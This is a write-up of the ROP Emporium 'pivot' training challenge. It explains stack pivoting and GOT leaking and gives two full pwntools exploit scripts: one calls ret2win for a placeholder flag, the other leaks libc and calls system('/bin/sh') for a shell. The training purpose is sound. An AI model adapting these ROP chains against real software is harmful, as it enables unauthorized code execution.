7. pivot

the seventh challenge, in this challenge, the objective is to call a function ret2win that lives within an imported library and the stack is only small enough for a small rop chain, but the challenge provides us a space address with an address pointing to it. so we can write our full ropchain there and then "pivot" into that address.

there're several gadgets for us to work on within the binary

$ objdump -M intel --disassemble=usefulGadgets -S pivot

pivot:     file format elf64-x86-64


Disassembly of section .init:

Disassembly of section .plt:

Disassembly of section .text:

00000000004009bb <usefulGadgets>:
  4009bb:       58                      pop    rax
  4009bc:       c3                      ret
  4009bd:       48 94                   xchg   rsp,rax
  4009bf:       c3                      ret
  4009c0:       48 8b 00                mov    rax,QWORD PTR [rax]
  4009c3:       c3                      ret
  4009c4:       48 01 e8                add    rax,rbp
  4009c7:       c3                      ret
  4009c8:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  4009cf:       00

we can use pop rax; ret; xchg rsp, rax; ret to change the stack point to our pivot address.

let's look into what's inside the binary.

gef➤  i func
All defined functions:

Non-debugging symbols:
0x00000000004006a0  _init
0x00000000004006d0  free@plt
0x00000000004006e0  puts@plt
0x00000000004006f0  printf@plt
0x0000000000400700  memset@plt
0x0000000000400710  read@plt
0x0000000000400720  foothold_function@plt
0x0000000000400730  malloc@plt
0x0000000000400740  setvbuf@plt
0x0000000000400750  exit@plt
0x0000000000400760  _start
0x0000000000400790  _dl_relocate_static_pie
0x00000000004007a0  deregister_tm_clones
0x00000000004007d0  register_tm_clones
0x0000000000400810  __do_global_dtors_aux
0x0000000000400840  frame_dummy
0x0000000000400847  main
0x00000000004008f1  pwnme
0x00000000004009a8  uselessFunction
0x00000000004009bb  usefulGadgets
0x00000000004009d0  __libc_csu_init
0x0000000000400a40  __libc_csu_fini
0x0000000000400a44  _fini

there's one function that is imported from libpivot into the binary which is foothold_function but there's no ret2win imported, does that mean we can't call ret2win?

no, ret2win is still possible to be call if we leaked the address of foothold_function and calculate the address to ret2win it is possible to be called.

okay, if you did not read the beginner's guide of ROP Emporium yet, consider reading it now otherwise it won't make that much sense going forword.

alright, now what do we have to do to leak the address of foothold_function? from the description of the challenge, the function is imported but is not used so the got.plt of foothold_function is not updated yet, what we have to do here is to call it using our rop chain and then leak the updated address in got.plt.

after that we can use puts to leak the address of the updated got.plt of foothold_function then, use it to calculate the address in the library itself so that we get the base address of the library, then we can simply take the offset of ret2win and add it to the base address to get the runtime address of ret2win. after that we can call main again and send new chain with the address of ret2win.

let's craft the chain to do so.

from pwn import *

elf = context.binary = ELF("./pivot")
libpivot = ELF("./libpivot.so")
rop = ROP(elf)
p = process()

# gdb.attach(p, "break foothold_function")

padding = b"x" * 40

main_plt = elf.symbols["main"]
foothold_plt = elf.plt["foothold_function"]
foothold_got = elf.got["foothold_function"]
puts_plt = elf.plt["puts"]

p.recvuntil(b"libpivot\n")

pivot = int(p.recvline().decode("utf-8").split()[-1].strip()[2::], 16)
log.info(f"pivot location: {hex(pivot)}")

payload = p64(foothold_plt) + p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(foothold_got) + p64(puts_plt) + p64(main_plt)

p.sendline(payload)

p.clean()

xchg_rsp_rax = 0x4009bd # somehow ROPgadget can't find "xchg rsp, rax", "ret" but can be searched using commandline (why)
p.sendline(padding + p64(rop.find_gadget(["pop rax", "ret"])[0]) + p64(pivot) + p64(xchg_rsp_rax))

p.recvline()
p.recvline()

leak_foothold_bytes = bytearray.fromhex(p.recvline().strip().hex())
leak_foothold_bytes.reverse()

leak_foothold = int.from_bytes(leak_foothold_bytes)

log.info(f"leaked foothold {hex(leak_foothold)}")

base_libpivot = leak_foothold - libpivot.symbols["foothold_function"]

ret2win = base_libpivot + libpivot.symbols["ret2win"]

log.info(f"ret2win location: {hex(ret2win)}, we are jumping now!")

p.clean()

p.sendline(padding + p64(ret2win))
p.interactive()

let's try it.

$ python solve.py
[*] '/home/kali/ctf/rop/pivot/pivot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[*] '/home/kali/ctf/rop/pivot/libpivot.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 15 cached gadgets for './pivot'
[+] Starting local process '/home/kali/ctf/rop/pivot/pivot': pid 1837
[*] pivot location: 0x7efc12619f10
[*] leaked foothold 0x7efc1280096a
[*] ret2win location: 0x7efc12800a81, we are jumping now!
[*] Switching to interactive mode
[*] Process '/home/kali/ctf/rop/pivot/pivot' stopped with exit code 0 (pid 1837)
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

very nice, now that we have this knowledge, we can just leak the address of libc to get a shell by calling system with /bin/sh as an argument. you should try it yourself.

hmm?
from pwn import *

elf = context.binary = ELF("./pivot")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
p = process()

# gdb.attach(p, "break foothold_function")

padding = b"x" * 40

main_plt = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

p.recvuntil(b"libpivot\n")

pivot = int(p.recvline().decode("utf-8").split()[-1].strip()[2::], 16)
log.info(f"pivot location: {hex(pivot)}")

payload = p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(puts_got) + p64(puts_plt) + p64(main_plt)

p.sendline(payload)

p.clean()

xchg_rsp_rax = 0x4009bd # somehow ROPgadget can't find "xchg rsp, rax", "ret" but can be searched using commandline (why)
p.sendline(padding + p64(rop.find_gadget(["pop rax", "ret"])[0]) + p64(pivot) + p64(xchg_rsp_rax))

p.recvline()

leak_puts_bytes = bytearray.fromhex(p.recvline().strip().hex())
leak_puts_bytes.reverse()

leak_puts = int.from_bytes(leak_puts_bytes)
log.info(f"leaked puts {hex(leak_puts)}")

base_libc = leak_puts - libc.symbols["puts"]

bin_sh = base_libc + next(libc.search(b"/bin/sh"))
system = base_libc + libc.symbols["system"]

log.info(f"system location: {hex(system)} with arg {hex(bin_sh)}, we are jumping now!")

p.clean()

p.sendline(padding + p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(bin_sh) + p64(system))
p.interactive()

there's also other ways to solve this challenge such as writing got.plt with something else, or use one_gadget or loading got.plt into memory, modify it and call it using call reg. but i've had enough of it so, nicesu nicesu!!